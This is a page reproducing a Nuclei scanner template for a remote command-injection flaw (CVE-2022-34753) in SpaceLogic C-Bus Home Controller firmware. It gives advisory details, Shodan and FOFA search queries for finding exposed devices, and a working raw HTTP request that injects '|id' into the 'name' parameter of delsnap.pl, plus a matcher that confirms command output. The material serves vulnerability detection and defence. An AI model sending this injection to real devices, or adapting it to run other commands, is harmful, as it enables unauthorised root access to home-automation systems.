CVE-2022-34753: SpaceLogic C-Bus Home Controller <=1.31.460 - Remote Command Execution

2025-08-01 SpaceLogic C-Bus Home Controller PoC Public

Description

SpaceLogic C-Bus Home Controller through 1.31.460 is susceptible to remote command execution via improper neutralization of special elements. Remote root exploit can be enabled when the command is compromised, and an attacker can potentially execute malware, obtain sensitive information, modify data, and/or gain full control without entering necessary credentials.

PoC

id: CVE-2022-34753

info:
  name: SpaceLogic C-Bus Home Controller <=1.31.460 - Remote Command Execution
  author: gy741
  severity: high
  description: |
    SpaceLogic C-Bus Home Controller through 1.31.460 is susceptible to remote command execution via improper neutralization of special elements. Remote root exploit can be enabled when the command is compromised, and an attacker can potentially execute malware, obtain sensitive information, modify data, and/or gain full control without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
  remediation: |
    Upgrade SpaceLogic C-Bus Home Controller to a version higher than 1.31.460 to mitigate this vulnerability.
  reference:
    - https://www.zeroscience.mk/codes/SpaceLogic.txt
    - https://download.schneider-electric.com/files?p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2022-193-02_SpaceLogic-C-Bus-Home-Controller-Wiser_MK2_Security_Notification.pdf
    - http://packetstormsecurity.com/files/167783/Schneider-Electric-SpaceLogic-C-Bus-Home-Controller-5200WHC2-Remote-Root.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34753
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-34753
    cwe-id: CWE-78
    epss-score: 0.71284
    epss-percentile: 0.99379
    cpe: cpe:2.3:o:schneider-electric:spacelogic_c-bus_home_controller_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: schneider-electric
    product: spacelogic_c-bus_home_controller_firmware
    shodan-query:
      - html:"SpaceLogic C-Bus"
      - http.html:"spacelogic c-bus"
    fofa-query: body="spacelogic c-bus"
  tags: cve2022,cve,iot,spacelogic,rce,oast,packetstorm,schneider-electric,vkev,vuln

http:
  - raw:
      - |
        GET /delsnap.pl?name=|id HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64('{{username}}:' + '{{password}}')}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022060e3303a35fcf993d8b612e7b35f8d754aba1bbefaadfea6362c7fdd91691e2d022100bb896b27926f0231da9303aaa8ecf25a7b3013862439953e020e6cead8af4dc1:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-34753.yaml

References

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